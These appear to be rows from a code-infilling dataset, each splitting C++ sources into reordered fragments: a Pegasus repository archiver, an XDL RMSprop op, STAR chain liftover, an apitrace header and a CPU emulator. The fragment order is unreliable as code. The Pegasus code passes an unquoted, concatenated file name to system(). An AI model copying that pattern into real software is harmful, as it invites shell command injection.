FileSystem::getAbsolutePath( env, PEGASUS_REPOSITORY_LOCK_FILE); String repositoryDirPath = FileSystem::extractFilePath(repositoryDir); String repositoryDirName = FileSystem::e
PEGASUS_NAMESPACE_END PEGASUS_USING_PEGASUS; int main (int argc, char* argv[]) { AutoPtr<CIMRepositoryArchiveCommand> command; Uint32 retCode; #ifdef PEGASUS_OS_ZOS setEBCDICEncoding(STDOUT_FILENO); setEBCDICEncoding(STDERR_FILENO); #endif MessageLoader::_useProcessLocale = true; MessageLoader::setPegasusMsgHomeRelative(argv[0]); command.reset(new CIMRepositoryArchiveCommand()); try { command->setCommand(argc, argv); } catch (CommandFormatException& cfe) { cerr << COMMAND_NAME << ": " << cfe.getMessage() << endl; MessageLoaderParms parms( "Clients.cimreparchive.CIMRepositoryArchiveCommand.ERR_USAGE", "Use '--help' to obtain command syntax."); parms.msg_src_path = MSG_PATH; cerr << COMMAND_NAME << ": " << MessageLoader::getMessage(parms) << endl; return EXIT_STATUS_GENERAL_ERROR; } retCode = command->execute(cout, cerr); return retCode; }
xtractFileName(repositoryDir); AutoFileLock repositoryLock(lockFile.getCString()); #if defined(PEGASUS_OS_HPUX) || defined(PEGASUS_OS_AIX) || \ defined(PEGASUS_OS_PASE) const char TAR_COMMAND[] = "/usr/bin/tar"; #elif defined(PEGASUS_OS_LINUX) const char TAR_COMMAND[] = "/bin/tar"; #elif defined(PEGASUS_OS_ZOS) const char TAR_COMMAND[] = "/bin/pax"; #else const char TAR_COMMAND[] = "tar"; #endif #if defined(PEGASUS_OS_ZOS) String sysCommand = String(TAR_COMMAND) + " -o saveext -ppx -wzf " + _archiveFileName + " " + repositoryDir; #else String sysCommand = String(TAR_COMMAND) + " cf " + _archiveFileName + " -C " + repositoryDirPath + " " + repositoryDirName; #endif #if defined(PEGASUS_OS_TYPE_UNIX) int rc = system(sysCommand.getCString()); if (rc == -1) { MessageLoaderParms errorMessage( "Clients.cimreparchive.CIMRepositoryArchiveCommand.SYSCALL_FAILED", "Failed to initiate archive operation: $0", strerror(errno)); errPrintWriter << MessageLoader::getMessage(errorMessage) << endl; return EXIT_STATUS_SYSTEM_CALL_FAILED; } else if (WIFEXITED(rc) && (WEXITSTATUS(rc) != 0)) { MessageLoaderParms errorMessage( "Clients.cimreparchive.CIMRepositoryArchiveCommand.ARCHIVE_FAILED", "Archive operation failed with status $0. Removing file \"$1\".", WEXITSTATUS(rc), _archiveFileName); errPrintWriter << MessageLoader::getMessage(errorMessage) << endl; FileSystem::removeFile(_archiveFileName); return EXIT_STATUS_ARCHIVE_FAILED; } MessageLoaderParms errorMessage( "Clients.cimreparchive.CIMRepositoryArchiveCommand.ARCHIVE_CREATED", "File \"$0\" now contains an archive of directory \"$1\".", _archiveFileName, repositoryDir); outPrintWriter << MessageLoader::getMessage(errorMessage) << endl; return EXIT_STATUS_SUCCESS; #else errPrintWriter << "Archive operation is not available." << endl; return EXIT_STATUS_ARCHIVE_FAILED; #endif }
function_block-function_prefixed
[ { "content": "class uint32IParam : public baseIParam\n\n{\n\npublic:\n\n Uint32 value;\n\n\n\n // constructor with definition of iParam name and default for the\n\n // required flag (false). Default value of parameter is NULL if\n\n // no value is supplied. This is for paramaters that are not requir...
C++
xdl/xdl/core/ops/ps_ops/ps_sparse_apply_rmsprop_merged_op.cc
Ru-Xiang/x-deeplearning
04cc0497150920c64b06bb8c314ef89977a3427a
#include "xdl/core/lib/status.h" #include "xdl/core/framework/op_kernel.h" #include "xdl/core/framework/op_define.h" #include "xdl/core/framework/op_registry.h" #include "xdl/core/ops/ps_ops/define_op.h" #include "xdl/core/ops/ps_ops/convert_utils.h" #include "xdl/core/ops/ps_ops/client.h" #include "xdl/core/ops/ps_ops/var_type.h" #include "xdl/core/utils/string_utils.h" namespace xdl { class PsSparseApplyRmspropMergedOp : public xdl::OpKernelAsync { public: Status Init(OpKernelConstruction* ctx) override { XDL_CHECK_STATUS(ctx->GetAttr("var_name", &var_name_)); XDL_CHECK_STATUS(XdlGetVarType(ctx, &var_type_)); std::string var_name_str; XDL_CHECK_STATUS(ctx->GetAttr("var_names", &var_name_str)); var_names_ = StringUtils::split(var_name_str, ","); return Status::Ok(); } void Compute(OpKernelContext* ctx, Callback done) override { ps::client::BaseClient* client; XDL_CHECK_STATUS_ASYNC(GetClient(&client), done); std::vector<Tensor> t_lr; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("learning_rate", &t_lr), done); std::vector<double> lr; for (size_t i = 0; i < t_lr.size(); ++i) { lr.push_back(t_lr[i].Scalar<double>()); } std::vector<Tensor> t_decay; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("decay", &t_decay), done); std::vector<double> decay; for (size_t i = 0; i < t_decay.size(); ++i) { decay.push_back(t_decay[i].Scalar<double>()); } std::vector<Tensor> t_momentum; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("momentum", &t_momentum), done); std::vector<double> momentum; for (size_t i = 0; i < t_momentum.size(); ++i) { momentum.push_back(t_momentum[i].Scalar<double>()); } std::vector<Tensor> t_epsilon; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("epsilon", &t_epsilon), done); std::vector<double> epsilon; for (size_t i = 0; i < t_epsilon.size(); ++i) { epsilon.push_back(t_epsilon[i].Scalar<double>()); } std::vector<Tensor> grads; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("grad", &grads), done); std::vector<Tensor> indices; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("indices", &indices), done); std::vector<ps::Tensor> convert_grad; for (auto& grad : grads) { convert_grad.emplace_back(); XDL_CHECK_STATUS_ASYNC( XDL2PS::ConvertTensorZC(grad, &convert_grad.back()), done); } std::vector<ps::Tensor> convert_indices; for (auto& indice : indices) { convert_indices.emplace_back(); XDL_CHECK_STATUS_ASYNC( XDL2PS::ConvertTensorZC(indice, &convert_indices.back()), done); } auto cb = [grads, indices, ctx, done](const ps::Status& st) { XDL_CHECK_STATUS_ASYNC(PS2XDL::ConvertStatus(st), done); done(Status::Ok()); }; std::vector<float> save_ratios; for (size_t i = 0; i < var_names_.size(); i++) { save_ratios.push_back(0.0); } if (var_type_ == VarType::kHash128 || var_type_ == VarType::kHash64) { client->MergedHashPush(var_names_, convert_indices, save_ratios, "RmspropUpdater", client->Args(convert_grad, lr, decay, momentum, epsilon), cb); } else { done(Status::ArgumentError("PsSparseApplyRmspropMergedOp var_type must be hash")); } } private: std::string var_name_; VarType var_type_; std::vector<std::string> var_names_; }; XDL_DEFINE_OP(PsSparseApplyRmspropMergedOp) .InputListV2("learning_rate", "input_type_0") .InputListV2("decay", "input_type_1") .InputListV2("momentum", "input_type_2") .InputListV2("epsilon", "input_type_3") .InputListV2("grad", "input_type_4") .InputListV2("indices", "input_type_5") .Attr("input_type_0", AttrValue::kDataTypeList) .Attr("input_type_1", AttrValue::kDataTypeList) .Attr("input_type_2", AttrValue::kDataTypeList) .Attr("input_type_3", AttrValue::kDataTypeList) .Attr("input_type_4", AttrValue::kDataTypeList) .Attr("input_type_5", AttrValue::kDataTypeList) .Attr("var_name", AttrValue::kString) .Attr("var_names", AttrValue::kString) .Attr("var_type", AttrValue::kString); XDL_REGISTER_KERNEL(PsSparseApplyRmspropMergedOp, PsSparseApplyRmspropMergedOp).Device("CPU"); }
#include "xdl/core/lib/status.h" #include "xdl/core/framework/op_kernel.h" #include "xdl/core/framework/op_define.h" #include "xdl/core/framework/op_registry.h" #include "xdl/core/ops/ps_ops/define_op.h" #include "xdl/core/ops/ps_ops/convert_utils.h" #include "xdl/core/ops/ps_ops/client.h" #include "xdl/core/ops/ps_ops/var_type.h" #include "xdl/core/utils/string_utils.h" namespace xdl { class PsSparseApplyRmspropMergedOp : public xdl::OpKernelAsync { public: Status Init(OpKernelConstruction* ctx) override { XDL_CHECK_STATUS(ctx->GetAttr("var_name", &var_name_)); XDL_CHECK_STATUS(XdlGetVarType(ctx, &var_type_)); std::string var_name_s
void Compute(OpKernelContext* ctx, Callback done) override { ps::client::BaseClient* client; XDL_CHECK_STATUS_ASYNC(GetClient(&client), done); std::vector<Tensor> t_lr; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("learning_rate", &t_lr), done); std::vector<double> lr; for (size_t i = 0; i < t_lr.size(); ++i) { lr.push_back(t_lr[i].Scalar<double>()); } std::vector<Tensor> t_decay; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("decay", &t_decay), done); std::vector<double> decay; for (size_t i = 0; i < t_decay.size(); ++i) { decay.push_back(t_decay[i].Scalar<double>()); } std::vector<Tensor> t_momentum; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("momentum", &t_momentum), done); std::vector<double> momentum; for (size_t i = 0; i < t_momentum.size(); ++i) { momentum.push_back(t_momentum[i].Scalar<double>()); } std::vector<Tensor> t_epsilon; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("epsilon", &t_epsilon), done); std::vector<double> epsilon; for (size_t i = 0; i < t_epsilon.size(); ++i) { epsilon.push_back(t_epsilon[i].Scalar<double>()); } std::vector<Tensor> grads; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("grad", &grads), done); std::vector<Tensor> indices; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("indices", &indices), done); std::vector<ps::Tensor> convert_grad; for (auto& grad : grads) { convert_grad.emplace_back(); XDL_CHECK_STATUS_ASYNC( XDL2PS::ConvertTensorZC(grad, &convert_grad.back()), done); } std::vector<ps::Tensor> convert_indices; for (auto& indice : indices) { convert_indices.emplace_back(); XDL_CHECK_STATUS_ASYNC( XDL2PS::ConvertTensorZC(indice, &convert_indices.back()), done); } auto cb = [grads, indices, ctx, done](const ps::Status& st) { XDL_CHECK_STATUS_ASYNC(PS2XDL::ConvertStatus(st), done); done(Status::Ok()); }; std::vector<float> save_ratios; for (size_t i = 0; i < var_names_.size(); i++) { save_ratios.push_back(0.0); } if (var_type_ == VarType::kHash128 || var_type_ == VarType::kHash64) { client->MergedHashPush(var_names_, convert_indices, save_ratios, "RmspropUpdater", client->Args(convert_grad, lr, decay, momentum, epsilon), cb); } else { done(Status::ArgumentError("PsSparseApplyRmspropMergedOp var_type must be hash")); } } private: std::string var_name_; VarType var_type_; std::vector<std::string> var_names_; }; XDL_DEFINE_OP(PsSparseApplyRmspropMergedOp) .InputListV2("learning_rate", "input_type_0") .InputListV2("decay", "input_type_1") .InputListV2("momentum", "input_type_2") .InputListV2("epsilon", "input_type_3") .InputListV2("grad", "input_type_4") .InputListV2("indices", "input_type_5") .Attr("input_type_0", AttrValue::kDataTypeList) .Attr("input_type_1", AttrValue::kDataTypeList) .Attr("input_type_2", AttrValue::kDataTypeList) .Attr("input_type_3", AttrValue::kDataTypeList) .Attr("input_type_4", AttrValue::kDataTypeList) .Attr("input_type_5", AttrValue::kDataTypeList) .Attr("var_name", AttrValue::kString) .Attr("var_names", AttrValue::kString) .Attr("var_type", AttrValue::kString); XDL_REGISTER_KERNEL(PsSparseApplyRmspropMergedOp, PsSparseApplyRmspropMergedOp).Device("CPU"); }
tr; XDL_CHECK_STATUS(ctx->GetAttr("var_names", &var_name_str)); var_names_ = StringUtils::split(var_name_str, ","); return Status::Ok(); }
function_block-function_prefixed
[]
C++
source/Chain.cpp
Gavin-Lijy/STAR
4571190968fc134aa4bd0d4d7065490253b1a4c5
#include "Chain.h" #include "streamFuns.h" #include "serviceFuns.cpp" Chain::Chain(Parameters &Pin, string chainFileNameIn) : P(Pin), chainFileName(chainFileNameIn) { chainLoad(); }; void Chain::chainLoad() { ifstream &streamIn = ifstrOpen(chainFileName, ERROR_OUT, "SOLUTION: check path and permission for the chain file" + chainFileName, P); string chr1; while (streamIn.good()) { string line1; getline(streamIn,line1); istringstream line1str(line1); vector <string> fields(13); for (int ii=0;ii<4;ii++) line1str >> fields[ii]; if (fields[0]=="") { } else if (fields[1]=="") { chrChains[chr1].bLen.push_back(std::stoi(fields[0])); chrChains[chr1].bN=chrChains[chr1].bLen.size(); } else if (fields[3]=="") { chrChains[chr1].bLen.push_back(std::stoi(fields[0])); uint s=chrChains[chr1].bStart1.back() + chrChains[chr1].bLen.back() + std::stoi(fields[1]); chrChains[chr1].bStart1.push_back(s); s=chrChains[chr1].bStart2.back() + chrChains[chr1].bLen.back() + std::stoi(fields[2]); chrChains[chr1].bStart2.push_back(s); } else { for (int ii=4;ii<13;ii++) line1str >> fields[ii]; chr1=fields[2]; chrChains[chr1].chr1=chr1; chrChains[chr1].chr2=fields[7]; chrChains[chr1].bStart1.push_back(std::stoi(fields[5])); chrChains[chr1].bStart2.push_back(std::stoi(fields[10])); }; }; }; void Chain::liftOverGTF(string gtfFileName, string outFileName) { ifstream &streamIn = ifstrOpen(gtfFileName, ERROR_OUT, "SOLUTION: check path and permission for the GTF file" + gtfFileName, P); ofstream &streamOut = ofstrOpen(outFileName, ERROR_OUT, P); ofstream &streamOutUnlifted = ofstrOpen(outFileName+".unlifted", ERROR_OUT, P); while (streamIn.good()) { string line1; getline(streamIn,line1); istringstream line1str(line1); string chr1; line1str >> chr1; if (chr1=="" || chr1.substr(0,1)=="#") continue; if (chrChains.count(chr1)==0) exitWithError("GTF contains chromosome " + chr1 + " not present in the chain file " + chainFileName,std::cerr, P.inOut->logMain, EXIT_CODE_INPUT_FILES, P); OneChain *ch1 = & chrChains[chr1]; string str1,str2; line1str >> str1 >> str2; uint c1, c2[2]; for (int ii=0;ii<2;ii++) { line1str >> c1; int32 i1 = binarySearch1a <uint> (c1, ch1->bStart1.data(), ch1->bN); c2[ii]=-1; if (i1>=0 && c1 < ch1->bStart1[i1]+ch1->bLen[i1]) { c2[ii]=ch1->bStart2[i1] + c1 - ch1->bStart1[i1]; } else { if (ii==0 && i1 < (int32) ch1->bN-1) { c2[ii]=ch1->bStart2[i1+1]; } else if (ii==1 && i1 >= 0) { c2[ii]=ch1->bStart2[i1]+ch1->bLen[i1]-1; }; }; }; if (c2[0]!=-1llu && c2[1]!=-1llu && c2[1]>=c2[0]) { streamOut << ch1->chr2 <<"\t"<< str1 <<"\t"<< str2 <<"\t"<<c2[0] <<"\t"<< c2[1] << line1str.rdbuf() << "\n"; } else { streamOutUnlifted << line1 <<"\n"; }; }; streamOutUnlifted.close(); streamOut.close(); };
#include "Chain.h" #include "streamFuns.h" #include "serviceFuns.cpp" Chain::Chain(Parameters &Pin, string chainFileNameIn) : P(Pin), chainFileName(chainFileNameIn) { chainLoad(); }; void Chain::chainLoad() { ifstream &streamIn = ifstrOpen(chainFileName, ERROR_OUT, "SOLUTION: check path and permission for the chain file" + chainFileName, P); string chr1;
; void Chain::liftOverGTF(string gtfFileName, string outFileName) { ifstream &streamIn = ifstrOpen(gtfFileName, ERROR_OUT, "SOLUTION: check path and permission for the GTF file" + gtfFileName, P); ofstream &streamOut = ofstrOpen(outFileName, ERROR_OUT, P); ofstream &streamOutUnlifted = ofstrOpen(outFileName+".unlifted", ERROR_OUT, P); while (streamIn.good()) { string line1; getline(streamIn,line1); istringstream line1str(line1); string chr1; line1str >> chr1; if (chr1=="" || chr1.substr(0,1)=="#") continue; if (chrChains.count(chr1)==0) exitWithError("GTF contains chromosome " + chr1 + " not present in the chain file " + chainFileName,std::cerr, P.inOut->logMain, EXIT_CODE_INPUT_FILES, P); OneChain *ch1 = & chrChains[chr1]; string str1,str2; line1str >> str1 >> str2; uint c1, c2[2]; for (int ii=0;ii<2;ii++) { line1str >> c1; int32 i1 = binarySearch1a <uint> (c1, ch1->bStart1.data(), ch1->bN); c2[ii]=-1; if (i1>=0 && c1 < ch1->bStart1[i1]+ch1->bLen[i1]) { c2[ii]=ch1->bStart2[i1] + c1 - ch1->bStart1[i1]; } else { if (ii==0 && i1 < (int32) ch1->bN-1) { c2[ii]=ch1->bStart2[i1+1]; } else if (ii==1 && i1 >= 0) { c2[ii]=ch1->bStart2[i1]+ch1->bLen[i1]-1; }; }; }; if (c2[0]!=-1llu && c2[1]!=-1llu && c2[1]>=c2[0]) { streamOut << ch1->chr2 <<"\t"<< str1 <<"\t"<< str2 <<"\t"<<c2[0] <<"\t"<< c2[1] << line1str.rdbuf() << "\n"; } else { streamOutUnlifted << line1 <<"\n"; }; }; streamOutUnlifted.close(); streamOut.close(); };
while (streamIn.good()) { string line1; getline(streamIn,line1); istringstream line1str(line1); vector <string> fields(13); for (int ii=0;ii<4;ii++) line1str >> fields[ii]; if (fields[0]=="") { } else if (fields[1]=="") { chrChains[chr1].bLen.push_back(std::stoi(fields[0])); chrChains[chr1].bN=chrChains[chr1].bLen.size(); } else if (fields[3]=="") { chrChains[chr1].bLen.push_back(std::stoi(fields[0])); uint s=chrChains[chr1].bStart1.back() + chrChains[chr1].bLen.back() + std::stoi(fields[1]); chrChains[chr1].bStart1.push_back(s); s=chrChains[chr1].bStart2.back() + chrChains[chr1].bLen.back() + std::stoi(fields[2]); chrChains[chr1].bStart2.push_back(s); } else { for (int ii=4;ii<13;ii++) line1str >> fields[ii]; chr1=fields[2]; chrChains[chr1].chr1=chr1; chrChains[chr1].chr2=fields[7]; chrChains[chr1].bStart1.push_back(std::stoi(fields[5])); chrChains[chr1].bStart2.push_back(std::stoi(fields[10])); }; }; }
function_block-function_prefix_line
[]
C++
retrace/daemon/glframe_state.hpp
devcode1981/apitrace
cf11139d6a05688b55c3ab08844a4c9c3c736ea2
#ifndef _GLFRAME_STATE_HPP_ #define _GLFRAME_STATE_HPP_ #include <stdint.h> #include <map> #include <string> #include <vector> #include "glframe_retrace_interface.hpp" #include "retrace.hpp" namespace trace { class Call; } namespace glretrace { class OnFrameRetrace; class StateTrack; class OutputPoller { public: virtual void flush() = 0; virtual void poll(int current_program, StateTrack *cb) = 0; virtual void pollBatch(SelectionId selectionCount, ExperimentId experimentCount, RenderId id, OnFrameRetrace *cb) = 0; virtual ~OutputPoller() {} virtual void init() = 0; }; enum ShaderType { kShaderTypeUnknown, kVertex, kFragment, kTessControl, kTessEval, kGeometry, kCompute }; enum AssemblyType { kAssemblyTypeUnknown, kOriginal, kBeforeUnification, kAfterUnification, kBeforeOptimization, kConstCoalescing, kGenIrLowering, kLayout, kOptimized, kPushAnalysis, kCodeHoisting, kCodeSinking, kSimd, kSimd8, kSimd16, kSimd32, kIr, kNirSsa, kNirFinal }; class StateTrack { public: explicit StateTrack(OutputPoller *p); ~StateTrack() {} void track(const trace::Call &call); void flush(); int CurrentProgram() const { return current_program; } const ShaderAssembly &currentVertexShader() const; const ShaderAssembly &currentFragmentShader() const; const ShaderAssembly &currentTessControlShader() const; const ShaderAssembly &currentTessEvalShader() const; const ShaderAssembly &currentGeomShader() const; const ShaderAssembly &currentCompShader() const; void onAssembly(ShaderType st, AssemblyType at, const std::string &assembly); int useProgram(int orig_program, const std::string &vs, const std::string &fs, const std::string &tessControl, const std::string &tessEval, const std::string &geom, const std::string &comp, std::string *message = NULL); void useProgram(int program); void retraceProgramSideEffects(int orig_program, trace::Call *c, retrace::Retracer *retracer) const; static void useProgramGL(int program); private: class TrackMap { public: TrackMap(); bool track(StateTrack *tracker, const trace::Call &call); private: typedef void (glretrace::StateTrack::*MemberFunType)(const trace::Call&); std::map <std::string, MemberFunType> lookup; }; static TrackMap lookup; class ProgramKey { public: ProgramKey(int orig_progam, const std::string &v, const std::string &f, const std::string &t_c, const std::string &t_e, const std::string &geom, const std::string &comp); bool operator<(const ProgramKey &o) const; private: int orig; std::string vs, fs, tess_control, tess_eval, geom, comp; }; void parse(); void trackCreateProgram(const trace::Call &); void trackAttachShader(const trace::Call &); void trackCreateShader(const trace::Call &); void trackShaderSource(const trace::Call &); void trackLinkProgram(const trace::Call &); void trackUseProgram(const trace::Call &); void trackDeleteProgram(const trace::Call &); void trackBindAttribLocation(const trace::Call &); void trackGetAttribLocation(const trace::Call &); void trackGetUniformLocation(const trace::Call &); void trackGetProgramResourceName(const trace::Call &); void trackGetUniformBlockIndex(const trace::Call &); void trackUniformBlockBinding(const trace::Call &); void trackBindFragDataLocation(const trace::Call &); void trackBindProgramPipeline(const trace::Call &); void trackUseProgramStages(const trace::Call &); OutputPoller *m_poller; int current_program, current_pipeline; std::map<int, std::string> shader_to_source; std::map<int, int> shader_to_type; std::map<std::string, int> source_to_shader; std::map<ProgramKey, int> m_sources_to_program; std::map<int, std::map<int, std::string>> m_program_to_bound_attrib; std::map<int, std::map<int, std::string>> m_program_to_uniform_name; std::map<int, std::map<std::string, int>> m_program_to_uniform_block_index; std::map<int, std::map<std::string, int>> m_program_to_frag_data_location; std::map<int, std::map<int, int>> m_program_to_uniform_block_binding; std::map<int, ShaderAssembly> program_to_vertex; std::map<int, ShaderAssembly> program_to_fragment; std::map<int, ShaderAssembly> program_to_tess_control; std::map<int, ShaderAssembly> program_to_tess_eval; std::map<int, ShaderAssembly> program_to_geom; std::map<int, ShaderAssembly> program_to_comp; std::map<int, int> pipeline_to_vertex_program; std::map<int, int> pipeline_to_fragment_program; std::map<int, int> pipeline_to_tess_control_program; std::map<int, int> pipeline_to_tess_eval_program; std::map<int, int> pipeline_to_geom_program; std::map<int, int> pipeline_to_comp_program; std::map<int, int> vertex_to_program; std::map<int, int> fragment_to_program; std::map<int, int> tess_control_to_program; std::map<int, int> tess_eval_to_program; std::map<int, int> geom_to_program; std::map<int, int> comp_to_program; const ShaderAssembly empty_shader; std::map<int, std::vector<int>> program_to_replacements; }; } #endif
#ifndef _GLFRAME_STATE_HPP_ #define _GLFRAME_STATE_HPP_ #include <stdint.h> #include <map> #include <string> #include <vector> #include "glframe_retrace_interface.hpp" #include "retrace.hpp" namespace trace { class Call; } namespace glretrace { class OnFrameRetrace; class StateTrack; class OutputPoller { public: virtual void flush() = 0; virtual void poll(int current_program, StateTrack *cb) = 0; virtual void pollBatch(SelectionId selectionCount, ExperimentId experimentCount, RenderId id, OnFrameRetrace *cb) = 0; virtual ~OutputPoller() {} virtual void init() = 0; }; enum ShaderType { kShaderTypeUnknown, kVertex, kFragment, kTessControl, kTessEval, kGeometry, kCompute }; enum AssemblyType { kAssemblyTypeUnknown, kOriginal, kBeforeUnification, kAfterUnification, kBeforeOptimization, kConstCoalescing, kGe
const std::string &geom, const std::string &comp, std::string *message = NULL); void useProgram(int program); void retraceProgramSideEffects(int orig_program, trace::Call *c, retrace::Retracer *retracer) const; static void useProgramGL(int program); private: class TrackMap { public: TrackMap(); bool track(StateTrack *tracker, const trace::Call &call); private: typedef void (glretrace::StateTrack::*MemberFunType)(const trace::Call&); std::map <std::string, MemberFunType> lookup; }; static TrackMap lookup; class ProgramKey { public: ProgramKey(int orig_progam, const std::string &v, const std::string &f, const std::string &t_c, const std::string &t_e, const std::string &geom, const std::string &comp); bool operator<(const ProgramKey &o) const; private: int orig; std::string vs, fs, tess_control, tess_eval, geom, comp; }; void parse(); void trackCreateProgram(const trace::Call &); void trackAttachShader(const trace::Call &); void trackCreateShader(const trace::Call &); void trackShaderSource(const trace::Call &); void trackLinkProgram(const trace::Call &); void trackUseProgram(const trace::Call &); void trackDeleteProgram(const trace::Call &); void trackBindAttribLocation(const trace::Call &); void trackGetAttribLocation(const trace::Call &); void trackGetUniformLocation(const trace::Call &); void trackGetProgramResourceName(const trace::Call &); void trackGetUniformBlockIndex(const trace::Call &); void trackUniformBlockBinding(const trace::Call &); void trackBindFragDataLocation(const trace::Call &); void trackBindProgramPipeline(const trace::Call &); void trackUseProgramStages(const trace::Call &); OutputPoller *m_poller; int current_program, current_pipeline; std::map<int, std::string> shader_to_source; std::map<int, int> shader_to_type; std::map<std::string, int> source_to_shader; std::map<ProgramKey, int> m_sources_to_program; std::map<int, std::map<int, std::string>> m_program_to_bound_attrib; std::map<int, std::map<int, std::string>> m_program_to_uniform_name; std::map<int, std::map<std::string, int>> m_program_to_uniform_block_index; std::map<int, std::map<std::string, int>> m_program_to_frag_data_location; std::map<int, std::map<int, int>> m_program_to_uniform_block_binding; std::map<int, ShaderAssembly> program_to_vertex; std::map<int, ShaderAssembly> program_to_fragment; std::map<int, ShaderAssembly> program_to_tess_control; std::map<int, ShaderAssembly> program_to_tess_eval; std::map<int, ShaderAssembly> program_to_geom; std::map<int, ShaderAssembly> program_to_comp; std::map<int, int> pipeline_to_vertex_program; std::map<int, int> pipeline_to_fragment_program; std::map<int, int> pipeline_to_tess_control_program; std::map<int, int> pipeline_to_tess_eval_program; std::map<int, int> pipeline_to_geom_program; std::map<int, int> pipeline_to_comp_program; std::map<int, int> vertex_to_program; std::map<int, int> fragment_to_program; std::map<int, int> tess_control_to_program; std::map<int, int> tess_eval_to_program; std::map<int, int> geom_to_program; std::map<int, int> comp_to_program; const ShaderAssembly empty_shader; std::map<int, std::vector<int>> program_to_replacements; }; } #endif
nIrLowering, kLayout, kOptimized, kPushAnalysis, kCodeHoisting, kCodeSinking, kSimd, kSimd8, kSimd16, kSimd32, kIr, kNirSsa, kNirFinal }; class StateTrack { public: explicit StateTrack(OutputPoller *p); ~StateTrack() {} void track(const trace::Call &call); void flush(); int CurrentProgram() const { return current_program; } const ShaderAssembly &currentVertexShader() const; const ShaderAssembly &currentFragmentShader() const; const ShaderAssembly &currentTessControlShader() const; const ShaderAssembly &currentTessEvalShader() const; const ShaderAssembly &currentGeomShader() const; const ShaderAssembly &currentCompShader() const; void onAssembly(ShaderType st, AssemblyType at, const std::string &assembly); int useProgram(int orig_program, const std::string &vs, const std::string &fs, const std::string &tessControl, const std::string &tessEval,
random
[]
C++
emulator/source/Cpu.cpp
bogdanbebic/AssemblerAndEmulator
df8e84434aace12c1ae8ad244306cafcf652e3e6
#include "Cpu.hpp" #include <utility> #include "InstructionsDefs.hpp" #include "StackOverflow.hpp" #include "StackUnderflow.hpp" #include "UsageFault.hpp" emulator::system::cpu::Cpu::Cpu(std::shared_ptr<Memory> memory) : memory_(std::move(memory)) { this->general_purpose_registers_[REG_SP] = Memory::STACK_START_ADDRESS; } void emulator::system::cpu::Cpu::interrupt(const size_t ivt_entry) { if (ivt_entry >= ivt_num_entries) throw exceptions::UsageFault{ "invalid ivt_entry" }; this->interrupt_pending_[ivt_entry] = true; } void emulator::system::cpu::Cpu::work() { this->cpu_running_ = true; this->general_purpose_registers_[REG_PC] = this->memory_->read_word(this->interrupt_vector_table_pointer_); while (this->cpu_running_) { try { instruction::instruction_t instr = this->fetch_instruction(); this->execute_instruction(instr); } catch (exceptions::UsageFault &ex) { this->interrupt(IVT_INVALID_OP); } this->handle_interrupt(); } } void emulator::system::cpu::Cpu::push_to_stack(word_t word) { if (this->general_purpose_registers_[REG_SP] == sizeof(word_t)) throw exceptions::StackOverflow{}; this->general_purpose_registers_[REG_SP] -= sizeof(word_t); this->memory_->write_word(this->general_purpose_registers_[REG_SP], word); } emulator::system::word_t emulator::system::cpu::Cpu::pop_from_stack() { if (this->general_purpose_registers_[REG_SP] == 0) throw exceptions::StackUnderflow{}; auto ret = this->memory_->read_word(this->general_purpose_registers_[REG_SP]); this->general_purpose_registers_[REG_SP] += sizeof(word_t); return ret; } emulator::system::cpu::instruction::instruction_t emulator::system::cpu::Cpu::fetch_instruction() { using namespace instruction; instruction_t instr; byte_t instruction_descriptor = this->memory_->read_byte(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(byte_t); instr.instruction_descriptor.operation_code = (instruction_descriptor & OPCODE_MASK) >> OPCODE_OFFSET; instr.instruction_descriptor.operand_size = (instruction_descriptor & OPERAND_SIZE_MASK) >> OPERAND_SIZE_OFFSET; for (size_t i = 0; i < number_of_operands(instr) && i < max_operands_in_instruction; i++) { byte_t operand_descriptor = this->memory_->read_byte(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(byte_t); instr.operands[i].addressing_mode = (operand_descriptor & ADDRESSING_MODE_MASK) >> ADDRESSING_MODE_OFFSET; instr.operands[i].register_index = (operand_descriptor & REGISTER_INDEX_MASK) >> REGISTER_INDEX_OFFSET; instr.operands[i].low_byte = (operand_descriptor & LOW_BYTE_MASK) >> LOW_BYTE_OFFSET; if (instr.operands[i].addressing_mode == REGISTER || instr.operands[i].addressing_mode == REGISTER_INDIRECT) continue; if (instr.instruction_descriptor.operand_size == OPERAND_SIZE_BYTE) { instr.operands[i].operand = this->memory_->read_byte(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(byte_t); } else { instr.operands[i].operand = this->memory_->read_word(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(word_t); } } return instr; } void emulator::system::cpu::Cpu::execute_instruction(instruction::instruction_t instr) { switch (instruction::number_of_operands(instr)) { case 0: this->execute_instruction_zero_operand(instr); break; case 1: this->execute_instruction_one_operand(instr); break; case 2: this->execute_instruction_two_operand(instr); break; default:; } } void emulator::system::cpu::Cpu::handle_interrupt() { for (size_t i = 0; i < ivt_num_entries; i++) { if (this->interrupt_pending_[i]) { this->interrupt_pending_[i] = false; this->push_to_stack(this->general_purpose_registers_[REG_PC]); this->push_to_stack(this->psw_.get()); this->general_purpose_registers_[REG_PC] = this->memory_->read_word( this->interrupt_vector_table_pointer_ + i * 2); break; } } } void emulator::system::cpu::Cpu::execute_instruction_zero_operand(instruction::instruction_t instr) { switch (instr.instruction_descriptor.operation_code) { case instruction::HALT: this->cpu_running_ = false; break; case instruction::IRET: this->psw_.set(this->pop_from_stack()); this->general_purpose_registers_[REG_PC] = this->pop_from_stack(); break; case instruction::RET: this->general_purpose_registers_[REG_PC] = this->pop_from_stack(); break; default: throw exceptions::UsageFault{ "invalid opcode" }; } } void emulator::system::cpu::Cpu::execute_instruction_one_operand(instruction::instruction_t instr) { switch (instr.instruction_descriptor.operation_code) { case instruction::INT: this->push_to_stack(this->general_purpose_registers_[REG_PC]); this->push_to_stack(this->psw_.get()); this->general_purpose_registers_[REG_PC] = 